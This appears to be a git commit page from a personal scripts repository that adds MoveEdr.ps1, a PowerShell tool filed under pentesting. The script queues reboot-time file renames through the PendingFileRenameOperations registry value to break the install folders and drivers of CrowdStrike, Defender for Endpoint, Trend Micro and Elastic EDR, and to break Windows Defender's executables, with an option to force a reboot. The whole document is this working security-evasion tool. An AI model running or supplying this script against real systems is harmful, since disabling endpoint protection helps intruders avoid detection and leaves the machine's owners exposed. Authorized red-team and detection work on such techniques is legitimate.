etc

~ scripts and random things

git clone https://github.com/djnnvx/etc.git

commit 9a7e60ea84b3a5445f171478ec2f773c6dbf2547
parent 0b98303dc3caed6be1b67add58fe2bfaf04cabce
Author: djnn <[email protected]>
Date: Wed, 16 Jul 2025 23:16:31 +0900

scripts: adding [email protected]:duhirsch/MoveEdr.git

Diffstat:

pentest/ps1/MoveEdr.ps1

124

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

1 file changed, 124 insertions(+), 0 deletions(-)

diff --git a/pentest/ps1/MoveEdr.ps1 b/pentest/ps1/MoveEdr.ps1
@@ -0,0 +1,123 @@
+function MoveEdr{
+	Param(
+		[switch]$Clear,
+		[switch]$CustomOnly,
+		[switch]$DefenderHard,
+		[switch]$Dump,
+		[switch]$IgnoreOld,
+		[switch]$Print,
+		[switch]$Reboot,
+		[switch]$Undo,
+		[string[]]$CustomPaths = @(),
+		[string[]]$FullyCustomPaths = @(),
+		[string[]]$Load,
+		[string] $Suffix = "_bak"
+	)
+
+	$regPath = "HKLM:SYSTEM\CurrentControlSet\Control\Session Manager\"
+	$regKey = "PendingFileRenameOperations"
+	
+	function GetMoves{
+		return (Get-ItemProperty -ErrorAction silentlyContinue -Path $regPath  -Name $regKey).$regKey
+	}
+	
+	if ($Print){
+		$pendingMoves = GetMoves
+		if ($null -eq $pendingMoves){
+			Write-Output "No Pending Moves"
+		} else {
+			for($i = 0; $i -lt ($pendingMoves.Count -shr 1); $i++) {
+				Write-Host $pendingMoves[$i*2] --> $(if ($pendingMoves[$i*2+1] -eq "") {"DELETE"} else {$pendingMoves[$i*2+1]})
+			}
+		}
+		Return
+	}
+	
+	if ($Clear) {
+		Clear-ItemProperty -ErrorAction silentlyContinue -Path $regPath -Name $regKey
+		Return
+	}
+	
+	if ($Dump) {
+		$pendingMoves = GetMoves
+		$dumped = "`"" + ($pendingMoves -join '","') + "`""
+		if ($dumped -ne "`"`""){
+				Write-Output $dumped
+		} else {
+			Write-Output "No Pending Moves"
+		}
+		
+		Return
+	}
+	
+	if ($Load) {
+		$moves = $Load
+	}
+	elseif ($CustomOnly){
+		$moves = @($CustomPaths | ForEach-Object {"\??\$_", "\??\${_}$Suffix"}) +
+				 @($FullyCustomPaths | ForEach-Object {"\??\$_"})
+	}
+	else {
+		$paths = @(
+			# Crowdstrike
+			 "C:\Program Files\CrowdStrike",
+			 "C:\Windows\System32\drivers\CSDeviceControl.sys",
+			 "C:\Windows\System32\drivers\CSFirmwareAnalysis.sys",
+			 "C:\Windows\System32\drivers\CrowdStrike",
+
+			# Defender for Endpoint
+			"C:\Program Files\Windows Defender Advanced Threat Protection",
+			
+			# Trend Micro
+			"C:\Program Files (x86)\Trend Micro\Security Agent",
+			
+			# Elastic EDR
+			"C:\Program Files\Elastic",
+			"C:\Windows\System32\drivers\elastic-endpoint-driver.sys",
+			"C:\Windows\System32\drivers\ElasticElam.sys"
+		)
+		
+		# Windows Defender Trickery
+		if ($DefenderHard){
+			$defender_trickery = @("C:\ProgramData\Microsoft", "C:\ProgramData\Microsoft$Suffix",
+							   "C:\ProgramData\Microsoft$Suffix\Windows Defender", "C:\ProgramData\Microsoft$Suffix\Windows Defender$Suffix",
+							   "C:\ProgramData\Microsoft$Suffix", "C:\ProgramData\Microsoft")
+		} else {
+			$defenderPlatforms = (Get-ChildItem 'C:\ProgramData\Microsoft\Windows Defender\Platform').Name
+			$defenderExes = "MsMpEng.exe", "MpDefenderCoreService.exe", "NisSrv.exe"
+			$defender_trickery = @("C:\ProgramData\Microsoft", "C:\ProgramData\Microsoft$Suffix") +
+					 @(@(foreach ($platform in $defenderPlatforms) {foreach ($exe in $defenderExes) {"C:\ProgramData\Microsoft$Suffix\Windows Defender\Platform\$platform\$exe"}}) | ForEach-Object {"$_","${_}$Suffix"}) +
+					 @("C:\ProgramData\Microsoft$Suffix", "C:\ProgramData\Microsoft")
+		}
+
+		$moves = @($paths + $CustomPaths | ForEach-Object {"\??\$_", "\??\${_}$Suffix"}) +
+				 @($FullyCustomPaths + $defender_trickery | ForEach-Object {"\??\$_"})
+	}
+	
+	if ($undo) { # reverse the order in which moves are performed from top to bottom and switch source and destination
+		$upperBound = $moves.Count - 1
+		for ($index = 0; $index -lt ($moves.Count -shr 1); $index+=2){
+			$moves[$index],$moves[$index+1],$moves[$upperBound -1 - $index],$moves[$upperBound - $index] =
+			$moves[$upperBound - $index],$moves[$upperBound -1 -$index], $moves[$index+1],$moves[$index]
+		}
+	}
+
+	if(!$IgnoreOld){
+		$old = GetMoves
+	} else {
+		$old = $null
+	}
+
+	$reg = @{
+		Path = $regPath
+		Name = $regKey
+		PropertyType = 'MultiString'
+		Value = $old + $moves
+	}
+
+	New-ItemProperty -Force @reg | Out-Null
+
+	if ($Reboot){
+		Restart-Computer -Force
+	}
+}
+\ No newline at end of file